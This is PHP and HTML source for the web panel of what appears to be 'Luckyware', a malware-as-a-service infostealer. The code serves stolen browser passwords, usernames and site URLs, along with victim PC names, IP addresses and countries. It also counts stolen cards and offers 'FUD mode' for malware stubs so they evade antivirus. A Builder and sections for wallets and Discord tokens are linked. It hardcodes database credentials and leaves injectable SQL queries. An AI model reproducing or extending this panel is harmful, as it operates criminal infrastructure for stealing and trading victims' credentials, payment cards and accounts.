<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<div class="rounded-lg mt-5 bg pb-5 btn"> <!-- TABLE -->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400">
<i class="fa-solid fa-lock mr-1 icon"></i>
<span id="cookiesHeaderText"> Passwords</span>
</h1>
<i id="loadingIcon" class="fas fa-spinner fa-spin ml-2" style="display: none;"></i>
</div>
<style>
.entry-search-container {
display: flex;
align-items: center;
/* Vertically center the items */
}
</style>
<div class="2 text-right mx-5 mt-2">
<div class="grid grid-cols-4 gap-5">
<div class="0">
<h1 style="color: #111111;">s</h1>
</div>
<div class="1">
<select id="entriesSelect" class="text-stone-400 dg px-2 py-2 rounded-lg">
<option value="10">10</option>
<option value="25">25</option>
<option value="50">50</option>
<option value="75">75</option>
<option value="100">100</option>
</select>
</div>
<div class="2 col-span-2">
<div class="sc-container">
<input data-sc="" id="searchInput"
class="smoothCaretInput dg py-2 px-3 rounded-lg text-stone-400"
placeholder="Search Logs" type="text">
<div class="caret" style="width: 2px; height: 60%; background-color: #e61b0a;">
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<style>
.hover-link {
color: #97928E;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.truncate-cell {
max-width: 100px;
/* Adjust the maximum width as needed */
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
</style>
<div class="table-responsive">
<table id="DashTable" class="table-fixed w-full mt-5">
<thead class="">
<tr class="text-center">
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Site </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Username </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Password </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Browser </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">Pc Name </h1>
</th>
<th scope="col">
<h1 class="text-stone-400 fntBold text-lg tracking-wide">IP | Country </h1>
</th>
</tr>
</thead>
<tbody id="logsContent" class="mt-5">
<style>
.hover-link {
color: #97928E;
/* Initial color */
transition: color 0.3s ease-in-out;
/* Color transition with animation */
}
.hover-link:hover {
color: #f54b42;
/* Color on hover */
}
input::placeholder {
color: #a8a29e;
}
</style>
<script>
function deleteRecord(id) {
if (confirm('Are you sure you want to delete this record?')) {
// Create a hidden form and submit it with the ID
var form = document.createElement('form');
form.method = 'post';
form.action = '';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'id';
input.value = id;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function opensite(url) {
window.open(url);
}
function copyText(element) {
/* Copy text into clipboard */
navigator.clipboard.writeText(element);
}
</script>
</tbody>
</table>
</div>
<script>
// Function to refresh the DataTable
function refreshDataTable() {
var table = $('#DashTable').DataTable();
table.ajax.reload(null, false); // Reload without resetting page
}
// Function to initialize the DataTable
function initializeDataTable() {
// Initialize DataTable with server-side processing
var table = $('#DashTable').DataTable({
serverSide: true,
"lengthMenu": [10, 25, 50, 75, 100],
"language": {
"search": "Search Data: " // Replace with your custom text
},
ajax: {
url: 'newpas1337.php', // Replace with the correct path to your PHP script
type: 'POST',
beforeSend: function() {
// Show the header text with a loading animation
$('#cookiesHeaderText').html(' Passwords <i class="fas fa-spinner fa-spin"></i>');
},
complete: function() {
// Restore the header text to "Cookies" after the data is loaded
$('#cookiesHeaderText').html(' Passwords');
}
},
columns: [{
data: 0
},
{
data: 1
},
{
data: 2
},
{
data: 3
},
{
data: 4
},
{
data: 5
}
],
paging: true,
ordering: true,
dom: 'lrtip' // This specifies the DataTables elements to display
});
// Add an event listener to your custom search input
$('#searchInput').on('keyup', function() {
// Get the input value
var inputValue = $(this).val();
// Use DataTables' search() method to filter the table
table.search(inputValue).draw();
});
// Add an event listener to the entry number drop-down
$('#entriesSelect').on('change', function() {
// Get the selected value
var selectedValue = $(this).val();
// Change the number of entries displayed per page
table.page.len(selectedValue).draw();
});
// Hide the default DataTables length dropdown
$('div.dataTables_length').css('display', 'none');
// Optionally, you can remove the label as well
$('label[for="DashTable_length"]').css('display', 'none');
}
// Call the initializeDataTable function on page load
$(document).ready(function() {
initializeDataTable();
// Refresh the DataTable every 1 minute (60000 milliseconds)
setInterval(refreshDataTable, 60000);
});
</script>
</div>
</div>
</div> <!-- end -->
<style>
@keyframes topFlyIn {
from {
transform: translateY(-100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Define the left-flying animation keyframes */
@keyframes leftFlyIn {
from {
transform: translateX(-100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the right-flying animation keyframes */
@keyframes rightFlyIn {
from {
transform: translateX(100%);
opacity: 0;
}
to {
transform: translateX(0);
opacity: 1;
}
}
/* Define the bottom-flying animation keyframes */
@keyframes bottomFlyIn {
from {
transform: translateY(100%);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Apply the animation to elements with the respective class */
.top-flying {
animation-name: topFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(-100%);
}
.left-flying {
animation-name: leftFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(-100%);
}
.right-flying {
animation-name: rightFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateX(100%);
}
.bottom-flying {
animation-name: bottomFlyIn;
animation-duration: 0.8s;
animation-timing-function: ease;
animation-fill-mode: both;
opacity: 0;
transform: translateY(200%);
}
</style>
<script src="../assets/js/status.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+309
View File
@@ -0,0 +1,309 @@
<?php
session_start();
// Set content type to JSON
header('Content-Type: application/json');
// Validate session data
$role = $_SESSION['Role'] ?? '';
$username = $_SESSION['admin_name'] ?? '';
$secretkey = $_SESSION['secret_key'] ?? '';
/**
* Validate string length
*/
function isStringLengthGreaterThan5($inputString) {
return is_string($inputString) && strlen($inputString) > 5;
}
/**
* Enhanced input sanitization with strict validation
*/
function sanitizeInput($input) {
if (!is_string($input) || empty($input)) {
return '';
}
// Define forbidden characters and SQL keywords
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
$input_lower = strtolower($input);
// Check for forbidden characters and SQL keywords
foreach ($forbiddenChars as $char) {
if (strpos($input_lower, strtolower($char)) !== false) {
return '';
}
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
/**
* Validate user permissions
*/
function validateUserPermissions($role, $secretkey, $username) {
if (empty($role) || empty($secretkey) || empty($username)) {
return false;
}
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
return in_array($role, $validRoles);
}
/**
* Create secure database connection using PDO
*/
function createDatabaseConnection() {
$host = 'localhost';
$dbname = 'luckyminer';
$db_username = 'miner';
$db_password = 'Sifre.12345';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return false;
}
}
/**
* Truncate text for display
*/
function truncateText($text, $maxLength) {
if (strlen($text) > $maxLength) {
return substr($text, 0, $maxLength) . '...';
}
return $text;
}
/**
* Get browser name from browser ID
*/
function getBrowserName($browserId) {
$browsers = [
'1' => 'Edge',
'2' => 'Chrome',
'3' => 'Brave'
];
return $browsers[$browserId] ?? 'Unknown';
}
/**
* Get user ID from accounts table
*/
function getUserId($pdo, $secretkey) {
$stmt = $pdo->prepare("SELECT id FROM accounts WHERE OwnerKey = :owner_key");
$stmt->bindValue(':owner_key', $secretkey, PDO::PARAM_STR);
$stmt->execute();
$result = $stmt->fetch();
return $result ? $result['id'] : null;
}
// Main execution
try {
// Validate HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('Invalid request method');
}
// Validate session and permissions
if (!validateUserPermissions($role, $secretkey, $username) || !isStringLengthGreaterThan5($secretkey)) {
http_response_code(403);
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
exit;
}
// Create database connection
$pdo = createDatabaseConnection();
if (!$pdo) {
http_response_code(500);
echo json_encode(['error' => 'Database connection failed']);
exit;
}
// Validate and sanitize DataTables parameters
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
if ($draw === false || $start === false || $length === false) {
throw new Exception('Invalid DataTables parameters');
}
// Limit length to prevent excessive data retrieval
$length = min($length, 1000);
// Get and validate search value
$searchValue = '';
if (isset($_POST['search']['value'])) {
$rawSearchValue = $_POST['search']['value'];
$sanitizedSearch = sanitizeInput($rawSearchValue);
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
$searchValue = substr($sanitizedSearch, 0, 100); // Limit to 100 chars for security
}
}
// Define sortable columns (whitelist approach)
$sortableColumns = [
0 => 'passwords.Urls',
1 => 'passwords.Username',
2 => 'passwords.Pass',
3 => 'passwords.Browser',
4 => 'miners.PcName',
5 => 'passwords.PassID'
];
// Validate sorting parameters
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
$orderColumn = 'passwords.PassID'; // Default sort column
$orderDirection = 'DESC'; // Default sort direction
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
$columnIndex = intval($orderColumnIndex[0]['column']);
$direction = strtoupper($orderColumnIndex[0]['dir']);
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
$orderColumn = $sortableColumns[$columnIndex];
$orderDirection = $direction;
}
}
// Build role-based WHERE clause
$baseWhere = "WHERE 1 = 1";
$params = [];
if ($role === "Founder") {
if ($username !== "Hopesar") {
$baseWhere .= " AND passwords.OwnerID NOT LIKE :exclude_owner";
$params['exclude_owner'] = '%2%';
}
} else {
// Get user ID for non-founder roles
$userId = getUserId($pdo, $secretkey);
if ($userId === null) {
throw new Exception('Invalid user credentials');
}
$baseWhere .= " AND passwords.OwnerID = :owner_id";
$params['owner_id'] = $userId;
}
// Add search conditions if search value exists
$searchWhere = "";
if (!empty($searchValue)) {
$searchWhere = " AND (
passwords.Urls LIKE :search1 OR
passwords.Username LIKE :search2 OR
passwords.Pass LIKE :search3 OR
miners.PcName LIKE :search4
)";
$searchPattern = '%' . $searchValue . '%';
$params['search1'] = $searchPattern;
$params['search2'] = $searchPattern;
$params['search3'] = $searchPattern;
$params['search4'] = $searchPattern;
}
// Build the main data query
$dataQuery = "SELECT DISTINCT passwords.Urls, passwords.Username, passwords.Pass,
passwords.Browser, passwords.PassID,
miners.PcName,
CONCAT(miners.IP, ' | ', miners.Country) AS IPCOUNTRaY
FROM passwords
LEFT JOIN miners ON passwords.HWID = miners.BotID
$baseWhere $searchWhere
ORDER BY $orderColumn $orderDirection
LIMIT :start, :length";
$stmt = $pdo->prepare($dataQuery);
// Bind parameters
foreach ($params as $key => $value) {
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
$stmt->execute();
$results = $stmt->fetchAll();
// Process results
$data = [];
foreach ($results as $row) {
// Sanitize and truncate fields
$urls = htmlspecialchars($row['Urls'] ?? '', ENT_QUOTES, 'UTF-8');
$username_field = htmlspecialchars($row['Username'] ?? '', ENT_QUOTES, 'UTF-8');
$password = htmlspecialchars($row['Pass'] ?? '', ENT_QUOTES, 'UTF-8');
$pcName = htmlspecialchars($row['PcName'] ?? '', ENT_QUOTES, 'UTF-8');
$ipCountry = htmlspecialchars($row['IPCOUNTRaY'] ?? '', ENT_QUOTES, 'UTF-8');
// Truncate long values for display
$truncatedUrls = truncateText($urls, 27);
$truncatedUsername = truncateText($username_field, 22);
$truncatedPassword = truncateText($password, 22);
// Get browser name
$browserName = getBrowserName($row['Browser'] ?? '');
// Create secure clickable links
$urlLink = '<a href="javascript:void(0);" class="hover-link" onclick="opensite(\'' . $urls . '\')">' . $truncatedUrls . '</a>';
$usernameLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $username_field . '\')">' . $truncatedUsername . '</a>';
$passwordLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $password . '\')">' . $truncatedPassword . '</a>';
$data[] = [
$urlLink,
$usernameLink,
$passwordLink,
$browserName,
$pcName,
$ipCountry
];
}
// Get total count
$countQuery = "SELECT COUNT(DISTINCT passwords.PassID) as total
FROM passwords
LEFT JOIN miners ON passwords.HWID = miners.BotID
$baseWhere $searchWhere";
$countStmt = $pdo->prepare($countQuery);
// Bind the same parameters for count query (excluding LIMIT params)
foreach ($params as $key => $value) {
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
}
$countStmt->execute();
$totalRecords = $countStmt->fetch()['total'];
// Prepare response
$response = [
'draw' => $draw,
'recordsTotal' => intval($totalRecords),
'recordsFiltered' => intval($totalRecords),
'data' => $data
];
echo json_encode($response, JSON_UNESCAPED_UNICODE);
} catch (Exception $e) {
// Log error and return generic error response
error_log("Passwords DataTables Error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'draw' => $draw ?? 0,
'recordsTotal' => 0,
'recordsFiltered' => 0,
'data' => [],
'error' => 'An error occurred while processing your request'
]);
}
?>
+866
View File
@@ -0,0 +1,866 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'User') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
function startsWith($haystack, $needle)
{
return strpos($haystack, $needle) === 0;
}
function sanitizeInput($input)
{
// Define the list of forbidden characters
$forbiddenChars = ['(', ')', '=', '*'];
$isac = '0';
// Check if the input contains any forbidden characters
foreach ($forbiddenChars as $char) {
if (strpos($input, $char) !== false) {
// Forbidden character found, handle the error (you can customize this part)
$isac = '1';
}
}
if ($isac == '1') {
return 'NoSpecialChar';
} else {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
function GetIP()
{
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
return $_SERVER['REMOTE_ADDR'];
}
function getCountryCode($ip)
{
$url = "http://ipinfo.io/{$ip}/json";
$response = file_get_contents($url);
$data = json_decode($response, true);
return $data['country'] ?? 'Unknown';
}
$holdwbhk;
// Query to fetch the value from the "wallet" column
$webbby = "SELECT WebhookScr FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
$resultwebby = mysqli_query($conn, $webbby);
if ($resultwebby->num_rows > 0) {
// Display the value from the "wallet" column
$rowanan = $resultwebby->fetch_assoc();
$WBRaw = $rowanan["WebhookScr"];
if (empty($WBRaw)) {
$holdwbhk = 'You will recieve ip addres and time of each login, Discord webhook only!';
} else {
$holdwbhk = 'Setted to ' . $WBRaw;
}
}
$holdSCRTY;
// Query to fetch the value from the "wallet" column
$SecuirtyCtry = "SELECT SecuirtyCountry FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
$resultctryy = mysqli_query($conn, $SecuirtyCtry);
if ($resultctryy->num_rows > 0) {
// Display the value from the "wallet" column
$rowanancrty = $resultctryy->fetch_assoc();
$CountryRw = $rowanancrty["SecuirtyCountry"];
if ($CountryRw == "X") {
$holdSCRTY = 'Account Country Lock Is Disabled.';
} else {
$holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $CountryRw;
}
}
$HoldFUD;
// Query to fetch the value from the "wallet" column
$FUDWRR = "SELECT FUDM FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
$ResultFUD = mysqli_query($conn, $FUDWRR);
if ($ResultFUD->num_rows > 0) {
// Display the value from the "wallet" column
$FUDRS = $ResultFUD->fetch_assoc();
$IsFUDD = $FUDRS["FUDM"];
if ($IsFUDD == "disabled") {
$HoldFUD = 'FUD Mode for stub is Disabled.';
} else {
$HoldFUD = 'FUD Mode for stub is Enabled.';
}
}
if (isset($_POST["wbhkscr"])) {
$webhkk = sanitizeInput($_POST['webhook1']);
if (startsWith($webhkk, "https://discord.com/api/webhooks/") || startsWith($webhkk, "https://discordapp.com/api/webhooks/")) {
$sql = "UPDATE accounts SET WebhookScr=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $webhkk, $secretkey);
if ($stmt->execute()) {
header("Refresh:0");
} else {
header("Refresh:0");
}
} else {
echo "<script type='text/javascript'>alert('Only Accepted Format: https://discord.com/api/webhooks/....');</script>";
}
}
if (isset($_POST["disbbl"])) {
$nono = "X";
$sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $nono, $secretkey);
if ($stmt->execute()) {
$holdSCRTY = 'Account Country Lock Is Disabled.';
} else {
}
}
if (isset($_POST["enebel"])) {
$IP = GetIP();
$Kanty = getCountryCode($IP);
if ($Kanty == "Unknown") {
echo "<script type='text/javascript'>alert('Your country cannot be fetched, probaly because of your ip.');</script>";
} else {
$sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $Kanty, $secretkey);
if ($stmt->execute()) {
$holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $Kanty;
} else {
}
}
}
if (isset($_POST["disbblfd"])) {
$nono = "disabled";
$sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $nono, $secretkey);
if ($stmt->execute()) {
$HoldFUD = 'FUD Mode for stub is Disabled.';
} else {
}
}
if (isset($_POST["enebelfd"])) {
$evett = "enabled";
$sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $evett, $secretkey);
if ($stmt->execute()) {
$HoldFUD = 'FUD Mode for stub is Enabled.';
} else {
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.4.2/css/all.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<title>Settings</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom DataTable styles */
#DashTable {
border-radius: 0.5rem;
background-color: var(--background);
border-collapse: separate;
border-spacing: 0 0.7rem;
width: 100%;
}
#DashTable th {
font-family: 'Kanit', sans-serif;
font-weight: 500;
color: #e7e5e4;
font-weight: bold;
text-align: center;
padding: 10px;
border-bottom: 1px solid var(--background);
}
#DashTable tr {
background-color: var(--background);
border-radius: 0.5rem;
}
#DashTable td {
background-color: #151515;
color: #a8a29e;
text-align: center;
border-bottom: 1px solid var(--background);
padding: 10px;
font-weight: 100;
font-family: 'Kanit', sans-serif;
}
#DashTable td:first-child {
border-radius: 0.5rem 0 0 0.5rem;
/* Rounded corners on the left side */
}
#DashTable td:last-child {
border-radius: 0 0.5rem 0.5rem 0;
/* Rounded corners on the right side */
}
#DashTable tbody tr:hover {
background-color: var(--main-hover-color);
color: #D6D3D1;
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.dataTables_wrapper .dataTables_paginate .paginate_button {
background-color: #151515;
/* Add !important to ensure white color */
border: none;
padding: 7px 10px;
margin: 2px;
cursor: pointer;
color: #a8a29e;
}
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
background-color: #181818;
border: none;
}
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
background-color: #850000;
color: #e7e5e4;
border: none;
}
/* Text color for elements like "Showing x to x of x entries" */
.dataTables_info,
.dataTables_length,
.dataTables_paginate,
.dataTables_filter {
color: #a8a29e !important;
margin-bottom: 7px;
/* Add space below these elements */
}
/* Add space between "Show entries" and pagination controls */
.dataTables_length,
.dataTables_paginate {
margin-top: 7px;
}
/* Color for the "Show x entries" dropdown and options */
.dataTables_length select {
background-color: #111111 !important;
color: #d6d3d1 !important;
border: 1px solid #181818 !important;
/* Remove border to make it borderless */
padding: 5px;
}
/* Color for the pagination controls */
.dataTables_paginate a,
.dataTables_paginate span,
.dataTables_paginate .ellipsis {
background-color: #111111;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
padding: 5px 10px;
margin: 2px;
cursor: pointer;
}
/* Hover color for pagination controls */
.dataTables_paginate a:hover {
background-color: #181818;
border: none;
}
/* Current page number color */
.dataTables_paginate .current {
background-color: #850000;
color: #d6d3d1 !important;
/* Important to override DataTable's default styles */
border: none;
}
/* DataTable search box styles */
.dataTables_wrapper .dataTables_filter input {
background-color: var(--background);
color: #ffffff;
border: 1px solid #181818;
/* Add a 1px gray border */
border-radius: 5px;
padding: 5px;
}
/* DataTable ordering arrow styles */
.dataTables_wrapper .dataTables_wrapper .sorting:after,
.dataTables_wrapper .dataTables_wrapper .sorting:before,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
color: var(--main-color);
}
/* DataTable table responsive */
.table-responsive {
background-color: #111111;
color: #D6D3D1;
padding: 15px;
border-radius: 5px;
overflow-x: auto;
}
/* DataTable scrollbar styles (if needed) */
#DashTable::-webkit-scrollbar {
width: 8px;
}
#DashTable::-webkit-scrollbar-thumb {
background-color: var(--main-color);
}
#DashTable::-webkit-scrollbar-track {
background-color: var(--secondary-background);
}
.current {
background-color: #850000;
}
</style>
<script>
document.documentElement.classList.add('js');
</script>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
